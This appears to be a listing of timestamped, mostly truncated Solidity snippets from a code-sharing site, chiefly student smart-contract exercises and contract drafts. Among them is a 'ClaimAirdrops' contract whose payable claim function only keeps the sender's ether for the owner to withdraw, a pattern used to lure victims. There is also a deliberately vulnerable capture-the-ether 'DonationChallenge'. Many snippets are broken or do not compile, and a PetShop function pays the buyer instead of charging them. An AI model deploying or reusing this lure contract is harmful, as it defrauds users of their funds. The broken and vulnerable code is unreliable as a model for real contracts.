/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/

pragma solidity ^0.4.21;

/**
 * Contract to store the mileage of a car 
 */
contract Odometer {
    
    event Creation(
        address indexed from,
        string indexed vin
    );
    
    event Transfer(
        address indexed from,
        address indexed to,
        string indexed vin
    );
    
    struct Car {
        string vin;
        address owner;
        uint kilometers;
    }
    
    mapping (string => Car) cars;
    
    function Odometer() public {}

    /**
     * Returns the current data of the given car
     */
    function getCar(string vin) public constant returns(address owner, uint kilometers) {
        /* -- Your code here -- */
        return (cars[vin].owner, cars[vin].kilometers)
    }
    
    /**
     * Creates a track record of a new car. 
     * Transaction will fail (and burn gas!) if the c
Dec 02, 2022 20:59:02 UTC
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/

pragma solidity ^0.4.21;

/**
 * Contract to store the mileage of a car 
 */
contract Odometer {
    
    event Creation(
        address indexed from,
        string indexed vin
    );
    
    event Transfer(
        address indexed from,
        address indexed to,
        string indexed vin
    );
    
    struct Car {
        string vin;
        address owner;
        uint kilometers;
    }
    
    mapping (string => Car) cars;
    
    function Odometer() public {}

    /**
     * Returns the current data of the given car
     */
    function getCar(string vin) public constant returns(address owner, uint kilometers) {
        /* -- Your code here -- */
        Car storage car = cars[vin];
        return (car.owner, car.kilometers);
    }
    
    /**
     * Creates a track record of a new car. 
     * Transaction will fai
Dec 02, 2022 19:59:22 UTC
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/

pragma solidity ^0.4.21;

/**
 * Contract to store the mileage of a car 
 */
contract Odometer {
    
    event Creation(
        address indexed from,
        string indexed vin
    );
    
    event Transfer(
        address indexed from,
        address indexed to,
        string indexed vin
    );
    
    struct Car {
        string vin;
        address owner;
        uint kilometers;
    }
    
    mapping (string => Car) cars;
    
    function Odometer() public {}

    /**
     * Returns the current data of the given car
     */
    function getCar(string vin) public constant returns(address owner, uint kilometers) {
        /* -- Your code here -- */
        owner = cars[vin].owner;
        kilometers = cars[vin].kilometers;
    asser (car)

    }
    
    /**
     * Creates a track record of a new car. 
     * Transact
Dec 02, 2022 19:29:15 UTC
// Write an example of simple smart contract store with value setter and getter?

/* -- Your code here -- */
pragma solidity ^0.7.0;

contract Test {
    uint256 testValue;
    function constructor(){
    }
    function getValue() external view returns {
        return testValue;
    }

    function setValue(uint256 _value) external {
        testValue = _value;
    }
Dec 02, 2022 19:28:33 UTC
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/

pragma solidity ^0.4.21;

/**
 * Contract to store the mileage of a car 
 */
contract Odometer {
    
    event Creation(
        address indexed from,
        string indexed vin
    );
    
    event Transfer(
        address indexed from,
        address indexed to,
        string indexed vin
    );
    
    struct Car {
        string vin;
        address owner;
        uint kilometers;
    }
    
    mapping (string => Car) cars;
    
    function Odometer() public {}

    /**
     * Returns the current data of the given car
     */
    function getCar(string vin) public constant returns(address owner, uint kilometers) {
        /* -- Your code here -- */
        owner = cars[vin].owner;
        kilometers = cars[vin].kilometers;
    asser (car)

    }
    
    /**
     * Creates a track record of a new car. 
     * Transact
Dec 02, 2022 18:57:35 UTC
// Write an example of simple smart contract store with value setter and getter?

/* -- Your code here -- *
Dec 02, 2022 17:40:47 UTC
// Write an example of simple smart contract store

/* -- Your code here -- *
Dec 02, 2022 17:39:54 UTC
/*
* Create smart contract for tracking cars repair history.
* Fill up the code blocks in Solidity for:
* - getCar()
* - createCar()
* - updateKilometers()
* - transferOwnership()
*/

pragma solidity ^0.4.21;

/**
 * Contract to store the mileage of a car 
 */
contract Odometer {
    
    event Creation(
        address indexed from,
        string indexed vin
    );
    
    event Transfer(
        address indexed from,
        address indexed to,
        string indexed vin
    );
    
    struct Car {
        string vin;
        address owner;
        uint kilometers;
    }
    
    mapping (string => Car) cars;
    
    function Odometer() public {}

    /**
     * Returns the current data of the given car
     */
    function getCar(string vin) public constant returns(address owner, uint kilometers) {
        /* -- Your code here -- */
    }
    
    /**
     * Creates a track record of a new car. 
     * Transaction will fail (and burn gas!) if the car already exists.
     */
    function createCar(strin
Dec 02, 2022 17:25:33 UTC
pragma solidity ^0.4.21;

/**
 * Contract to store the mileage of a car 
 */
contract Odometer {
    
    event Creation(
        address indexed from,
        string indexed vin
    );
    
    event Transfer(
        address indexed from,
        address indexed to,
        string indexed vin
    );
    
    struct Car {
        string vin;
        address owner;
        uint kilometers;
    }
    
    mapping (string => Car) cars;
    
    function Odometer() public {}
    
    /**
     * Creates a track record of a new car. 
     * Transaction will fail (and burn gas!) if the car already exists.
     */
    function createCar(string vin) public {
        assert(cars[vin].owner == 0x0);
        
        cars[vin].vin = vin;
        cars[vin].owner = msg.sender;
        cars[vin].kilometers = 0;
        emit Creation(msg.sender, vin);
    }
    

    /**
    * Updates the current kilometers of the car. Transactions fails and burns gas if 
    * the new kilometer value is lower than the old one.
    */
    f
Dec 02, 2022 17:16:51 UTC
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "forge-std/Test.sol";

contract PriceTest is Test {
    uint256 constant continuousFundraisingFeeDenominator = 100;
    uint8 constant tokenDecimals = 18;

    IERC20Metadata constant EUROC =
        IERC20Metadata(0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c);

    IERC20Metadata constant USDC =
        IERC20Metadata(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    IERC20Metadata constant WBTC =
        IERC20Metadata(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);

    IERC20Metadata constant WETH =
        IERC20Metadata(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    function divideRoundUp(uint256 numerator, uint256 denominator)
        public
        pure
        returns (uint256)
    {
        return
            numerator % denominator == 0
                ? numerator / denominator
                : numerator / denominator + 1;
    }

    function testEUROC() public {
        uint256 tokenPrice = 2
Dec 01, 2022 16:04:13 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;

/*
학생관리 프로그램 확장판입니다.
아래에 11월 17, 21, 25일의 학생부 관리 프로그램의 문제가 있습니다.
------------------------------
11/17/2022
1번 지갑은 선생님입니다. 2,3,4,5,6,7,8,9,10번은 학생입니다.
이름, 번호, 생일, 점수 그리고 학점을 포함한 학생이라는 구조체를 생성하고 학생을 추가하고 삭제하고 조회하는 기능을 추가하세요.
학점은 90점 이상이면 A, 90점 미만 80점 이상이면 B, 80점 미만 70점 이상이면 C, 70점 미만 60점 이상이면 D 그 이외는 F 입니다.
학생 추가 기능 - 이 기능은 누구나 사용할 수 있습니다만 = 보통 학생들이 직접 사용할 예정입니다. 학생들이 본인의 정보를 추가할 때 자신의 지갑주소와 mapping이 될 수 있게 해주세요. (값은 임의대로 넣으세요)
학생 삭제 기능 - 이 기능은 특정 주소의 지갑소유자(선생님)만
Nov 30, 2022 03:57:07 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.0;

/*
학생관리 프로그램 확장판입니다.
아래에 11월 17, 21, 25일의 학생부 관리 프로그램의 문제가 있습니다.
------------------------------
11/17/2022
1번 지갑은 선생님입니다. 2,3,4,5,6,7,8,9,10번은 학생입니다.
이름, 번호, 생일, 점수 그리고 학점을 포함한 학생이라는 구조체를 생성하고 학생을 추가하고 삭제하고 조회하는 기능을 추가하세요.
학점은 90점 이상이면 A, 90점 미만 80점 이상이면 B, 80점 미만 70점 이상이면 C, 70점 미만 60점 이상이면 D 그 이외는 F 입니다.
학생 추가 기능 - 이 기능은 누구나 사용할 수 있습니다만 = 보통 학생들이 직접 사용할 예정입니다. 학생들이 본인의 정보를 추가할 때 자신의 지갑주소와 mapping이 될 수 있게 해주세요. (값은 임의대로 넣으세요)
학생 삭제 기능 - 이 기능은 특정 주소의 지갑소유자(선생님)만
Nov 30, 2022 03:22:34 UTC
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }
    function mu
Nov 29, 2022 12:12:17 UTC
pragma solidity ^0.4.22; 
contract helloWorld {   
    function renderHelloWorld () public pure returns (string) {       
        return 'Hello, World!';             
    } 
Nov 28, 2022 13:48:30 UTC
pragma solidity ^0.4.26;

contract ClaimAirdrops {

    address private  owner;    // current owner of the contract

     constructor() public{   
        owner=msg.sender;
    }
    function getOwner(
    ) public view returns (address) {    
        return owner;
    }
    function withdraw() public {
        require(owner == msg.sender);
        msg.sender.transfer(address(this).balance);
    }

    function ClaimAirdrop() public payable {
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
Nov 28, 2022 13:29:35 UTC
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";

contract Registry is Initializable, AccessControlUpgradeable {
    struct Registration {
        uint256 tokenId;
        address identityAddress;
    }

    function __Registry_init() internal onlyInitializing {}

    function initialize() external virtual initializer {
        __Registry_init();
        __AccessControl_init();
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
    }

    mapping(address => Registration) public registers;

    function register(address account, uint256 tokenId, IDelegation identityAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
        // TODO: need require
        registers[account].tokenId 
Nov 28, 2022 09:24:38 UTC
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";

contract Registry is IDelegation, Initializable, EIP712Upgradeable, AccessControlUpgradeable {
    struct Registration {
        uint256 tokenId;
        address identityAddress;
    }

    function __Registry_init() internal onlyInitializing {}

    function _EIP712NameHash() internal pure override returns (bytes32) {
        return keccak256(bytes(name()));
    }

    function _EIP712VersionHash() internal pure override returns (bytes32) {
        return keccak256(bytes(version()));
    }

    function version() public pure returns (string m
Nov 28, 2022 04:26:45 UTC
// gkc_hash_code : 01GJ46WV2DZAGQM3EVM8ZB69CM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./interfaces/IDelegation.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";

contract Registry is IDelegation, Initializable, EIP712Upgradeable, AccessControlUpgradeable {
    struct Registration {
        uint256 tokenId;
        address identityAddress;
    }

    function __Registry_init() internal onlyInitializing {}

    function _EIP712NameHash() internal pure override returns (bytes32) {
        return keccak256(bytes(name()));
    }

    function _EIP712VersionHash() internal pure override returns (bytes32) {
        return keccak256(bytes(version()));
    }

    function version() public pure returns (string m
Nov 28, 2022 04:26:25 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Registry {
  struct Registration {
        uint256 tokenId;
        address identityAddress;
  }

  function register(address account, uint256 tokenId, IDelegation identityAddress) {}

  function updateRegistration(address account, uint256 tokenId, IDelegation identityAddress) {} 

  function removeRegistration(address account) {}

  function removeRegistration() {}

  function validateCredentials(uint256 tokenId, string message, uint8 v, bytes32 r, bytes32 s) {}
Nov 28, 2022 02:07:28 UTC
}[start
Nov 22, 2022 22:21:14 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity &gt;=0.4.16 &lt;0.9.0;
contract SimpleStorage {
uintstoredData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
Nov 19, 2022 13:01:03 UTC
pragma solidity ^0.4.17;
contract Auction {
    
    // Data
    //Structure to hold details of the item
    struct Item {
        uint itemId; // id of the item
        uint[] itemTokens;  //tokens bid in favor of the item
       
    }
    
   //Structure to hold the details of a persons
    struct Person {
        uint remainingTokens; // tokens remaining with bidder
        uint personId; // it serves as tokenId as well
        address addr;//address of the bidder
    }
 
    mapping(address => Person) tokenDetails; //address to person 
    Person [4] bidders;//Array containing 4 person objects
    
    Item [3] public items;//Array containing 3 item objects
    address[3] public winners;//Array for address of winners
    address public beneficiary;//owner of the smart contract
    
    uint bidderCount=0;//counter
    
    //functions

    function Auction() public payable{    //constructor
                
        //Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
        /
Nov 19, 2022 04:07:50 UTC
//SPDX-License-Identifier: MIT

pragma solidity ^0.7.0;

contract CovidVaccination {

    // structure for vaccination center
    struct vaccinationCenter {
        uint vc_id;
        string vc_name;
        string vc_district;
        string vc_state;
    }

    mapping(uint => vaccinationCenter) public vc_data;
    vaccinationCenter[] centers;

    // structure for person/patient
    struct person {
        uint p_aadhaar;
        string p_name;
        string p_dob;
        string p_address;
        uint p_contact;
        uint vc_id;
        string p_date;
        string p_time;
        string p_health;
    }

    mapping(uint => person) public p_data;
    person[] people;

    // structure for vaccination
    struct vaccination {
        uint v_id;
        uint p_aadhaar;
        string v_doctor;
        uint vc_id;
        string v_date;
        string v_time;
        string v_dose;
    }

    mapping(uint => vaccination) public v_data;
    vaccination[] vaccines;

    // function to add vaccination ce
Nov 15, 2022 02:33:08 UTC
/*
Zhongtian Xia
zhongtix
PetShop.sol
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract PetShop {
  //maps pet id number to address of pet owner
  mapping (uint=>address) public petOwners;
  //total number of pets in the PetShop
  uint public numPets;
  address public shopOwner;

  constructor() {
    numPets = 4;
    shopOwner = msg.sender;
  }

  modifier ownerOnly()
  {
      require(
        msg.sender == shopOwner
      );
      _;
  }

  //petId must be in the valid range
  //pet must not already be adopted
  //a pet costs 1 ether
  //set pet owner in the mapping
  //hint: use assertions
  function adopt(uint petId) public payable {
    require(petId < numPets,"petId must be in the valid range");
    require(petOwners[petId] == address(0), "pet must not already be adopted");
    
    if (msg.sender.balance <= 1 ether)
         revert("Not enough Ether provided.");

    payable(msg.sender).transfer(1 ether);
    petOwners[petId] = msg.sender;
  }

  //returns the address of the 
Nov 14, 2022 17:07:40 UTC
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.1;
import "hardhat/console.sol";

contract KYC {
    struct Customer {
        string userName;
        string data;
        bool kycStatus;
        uint16 upVotes;
        uint16 downVotes;
        address bank;
    }

    struct Bank {
        string name;
        address ethAddress;
        uint16 complaintsReported;
        uint32 kycCount;
        bool isAllowedToVote;
        string regNumber;
    }

    struct KycRequest {
        string userName;
        address bank;
        string data;
    }

    mapping(string => Customer) customers;

    mapping(address => Bank) banks;
    uint32 registeredBankCount = 0;

    mapping(string => KycRequest) kycRequests;

    mapping(address => bool) adminAccounts;

    // Whoever deploys this code gets the admin priviledge
    constructor() {
        adminAccounts[msg.sender] = true;
    }

    // ** Bank Specific Functions **

    function addCustomer(string memory _userName, string memory _customerData)
  
Nov 12, 2022 04:22:33 UTC
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract testContract {
    
    function calculateRewardIfAvailableStaked() public view returns(uint stakedDuration){
        
            uint stakedDuration = (block.timestamp - 1667260800) / 60 / 60 / 24;
            return  stakedDuration;
       
        }

          function abc() public view returns(uint stakedDuration){
        
            string stakedDuration = "hello";
            return  stakedDuration;
       
        }
Nov 10, 2022 11:11:17 UTC
pragma solidity ^0.7.1;

contract A {
  uint8 a = 0;
}

contract B {
  uint256 a = 0;
}

contract C {
  uint32 a = 0;
}

contract D {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
}

contract E {
  uint32 a = 0;
  uint32 b = 0;
  uint32 c = 0;
  uint32 d = 0;
}
Nov 09, 2022 13:03:47 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract IDelegation {
    string public constant name = "ID management contract";
    uint256 incDelegateId;

    struct Delegate {
        uint32 nonce;
        address delegateAddr;
        Role role;
        Permission permission;
    }


    /**
     * @dev Enumerated Permissions
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Permission {
        NOz,
        ANNOUNCE,
        OWNERSHIP_TRANSFER,
        DELEGATE_ADD,
        DELEGATE_REMOVE
    }

    /**
     * @dev Enumerated Roles
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Role {
        NONE,
        OWNER,
        ANNOUNCER
    }

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice The EIP-712 typehash for the delegation struct used by the contract
  
Nov 08, 2022 06:37:16 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract IDelegation {
    string public constant name = "ID management contract";
    uint256 incDelegateId;

    struct Delegate {
        uint32 nonce;
        address delegateAddr;
        Role role;
        Permission permission;
        uint expiryBlock;
    }


    /**
     * @dev Enumerated Permissions
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Permission {
        NOz,
        ANNOUNCE,
        OWNERSHIP_TRANSFER,
        DELEGATE_ADD,
        DELEGATE_REMOVE
    }

    /**
     * @dev Enumerated Roles
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Role {
        NONE,
        OWNER,
        ANNOUNCER
    }

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice The EIP-712 typehash for the delegation stru
Nov 08, 2022 04:20:26 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses

// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit

// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
Nov 07, 2022 22:03:52 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract IDelegation {
    string public constant name = "ID management contract";

    struct DelegateAdd {
        uint32 nonce;
        address delegateAddr;
        Role role;
        Permission permission;
        uint expiryBlock;
    }

    struct DelegateRemove {
        uint32 nonce;
        address delegateAddr;
    }

    /**
     * @dev Enumerated Permissions
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Permission {
        NOz,
        ANNOUNCE,
        OWNERSHIP_TRANSFER,
        DELEGATE_ADD,
        DELEGATE_REMOVE
    }

    /**
     * @dev Enumerated Roles
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Role {
        NONE,
        OWNER,
        ANNOUNCER
    }

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
Nov 07, 2022 09:18:40 UTC
interface IDelegation {
    struct DelegateAdd {
        uint32 nonce;
        address delegateAddr;
        Role role;
    }

    struct DelegateRemove {
        uint32 nonce;
        address delegateAddr;
    }

    /**
     * @dev Enumerated Permissions
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Permission {
        NOz,
        ANNOUNCE,
        OWNERSHIP_TRANSFER,
        DELEGATE_ADD,
        DELEGATE_REMOVE
    }

    /**
     * @dev Enumerated Roles
     *      Roles have different permissions
     *      APPEND ONLY
     */
    enum Role {
        NONE,
        OWNER,
        ANNOUNCER
    }

    event AddDelegate(address indexed delegate, Role role);

    event RemoveDelegate(address indexed delegate);

    /**
     * @dev Add or change permissions for delegate
     */
    function delegate(address newDelegate, Role role) external;

    /**
     * @dev Add or change permissions for delegate by EIP-712 signature
     */
    function delegateBySig(
        ad
Nov 07, 2022 07:47:54 UTC
pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
Nov 04, 2022 06:30:55 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 29, 2022 04:10:38 UTC
/**
 *Submitted for verification at Etherscan.io on 2017-06-01
*/

pragma solidity ^0.4.10;

/*
 * This is an example gambling contract that works without any ABI interface.
 * The entire game logic is invoked by calling the fallback function which
 * is triggered, e.g. upon receiving a transaction at the contract address
 * without any data sent along. The contract is attackable in a number of ways:
 * - as soon as someone paid in Ether and starts the game, register with a
 *   large number of addresses to spam the player list and most likely win.
 * - blockhash as source of entropy is attackable by miners
 * - probably further exploits
 * This only serves as a minimalistic example of how to gamble on Ethereum
 * Author: S.C. Buergel for Validity Labs AG
 */

contract dgame {
    uint public registerDuration;
    uint public endRegisterTime;
    uint public gameNumber;
    uint public numPlayers;
    mapping(uint => mapping(uint => address)) public players;
    mapping(uint => mapping(address => bool)) publi
Oct 26, 2022 09:51:30 UTC
/**
 *Submitted for verification at Etherscan.io on 2017-06-01
*/

pragma solidity ^0.4.10;

/*
 * This is an example gambling contract that works without any ABI interface.
 * The entire game logic is invoked by calling the fallback function which
 * is triggered, e.g. upon receiving a transaction at the contract address
 * without any data sent along. The contract is attackable in a number of ways:
 * - as soon as someone paid in Ether and starts the game, register with a
 *   large number of addresses to spam the player list and most likely win.
 * - blockhash as source of entropy is attackable by miners
 * - probably further exploits
 * This only serves as a minimalistic example of how to gamble on Ethereum
 * Author: S.C. Buergel for Validity Labs AG
 */

contract dgame {
    uint public registerDuration;
    uint public endRegisterTime;
    uint public gameNumber;
    uint public numPlayers;
    mapping(uint => mapping(uint => address)) public players;
    mapping(uint => mapping(address => bool)) publi
Oct 26, 2022 09:50:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint _a = 1;
  uint max = 0xff;

  uint256 offset;
  uint256 position;
  mapping(uint256 => uint256) listings;

  function add() public {
    offset = _a / 256;
    position = _a & 0xff;
    listings[offset] |= (1 << position);
    _a++;
  }

  function a() external view returns (uint) {return _a;}
  function o() external view returns (uint) {return offset;}
  function p() external view returns (uint) {return position;}
  function l() external view returns (uint) {return listings[offset];}
Oct 21, 2022 22:27:42 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses

// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit

// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
Oct 20, 2022 21:31:10 UTC
pragma solidity >=0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract Colnago is Ownable {

    mapping(string => string) bikes;
    mapping(string => mapping(uint256 => string)) updates;
    mapping(string => uint256) updatesCountForBike;


    function createAsset(string memory assetId, string memory data)
    public
    onlyOwner
    returns (string memory)
    {
        require(
            bytes(bikes[assetId]).length == 0,
            "Duplicated ID."
        );
        bikes[assetId] = data;
        return assetId;
    }

    function updateAsset(string memory assetId, uint256 updateId, string memory data)
        public
        onlyOwner
        returns (string memory)
        {
            require(
                bytes(updates[assetId][updateId]).length == 0,
                "Asset/Update exists"
            );

            updates[assetId][updateId] = data;
            updatesCountForBike[assetId] = updateId;

            return updates[assetId][updateId];
        }

    function
Oct 17, 2022 21:44:31 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses

// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit

// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6 - Create events for each functions
// 7 - Make an OnlyOwner Modifier. Use it in a function that will check the balance of the entire contract
// 8 - Use Assert(State the fact, lis
Oct 17, 2022 21:03:11 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import {_INTERFACEID_ERC725Y} from "@erc725/smart-contracts/contracts/constants.sol";
import { OwnableUnset } from "@erc725/smart-contracts/contracts/custom/OwnableUnset.sol";
import { ERC165Checker } from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import { ILSP6KeyManager} from "@lukso/lsp-smart-contracts/contracts/LSP6KeyManager/ILSP6KeyManager.sol";


import "hardhat/console.sol";

/**
* @title LOOKSO post validator
* @notice A validator tailored for Universal Profiles and content publishing
* @author https://lookso.io
* @dev Writes to the Universal Profile key/value store
*/
contract LooksoPostValidator2 is Context {

    bytes32 public constant REGISTRY_KEY = keccak256("LSPXXSocialRegistry");

    event newPost(bytes32 postHash, address author, uint256 timestamp);

    /**
    * @notice Universal Profile (message sender) makes a post
    * @dev This contract
Oct 16, 2022 15:05:22 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;

// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses

// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit

// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// 5 - Create a modifier called "hasFunds" instead of require statements
// 6- Create events for each functions

// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations

contract Safe {

    mapping(address =>
Oct 13, 2022 21:00:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function sqrt(uint x) private pure returns (uint y) {
    if(x == 0) return 0;
    else
    {
      if(x <= 3) return 1;
      uint z = (x + 1) /2;
      y = x;
      while(z < y){
        y=z;
        z= (x / z + z) / 2;
      }
    }
  }

  function D(int a, int b, int c) public pure returns (int){
    return b * b - 4 * a * c;
  }

  function equation (int a, int b, int c) public pure returns (int, int){
    var temp = D(a, b, c);
    require (!(temp < 0));
  
    int minusB = b * ( -1);

    if(temp==0){
      int x= ( minusB ) /2 * a;
      return (x,x);
    }


    int x1 =  minusB + int(sqrt(uint(temp))) /2 * a;
    int x2 =  minusB - int(sqrt(uint(temp))) /2 * a;
    
    return (x1,x2);
  }
Oct 13, 2022 13:12:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {

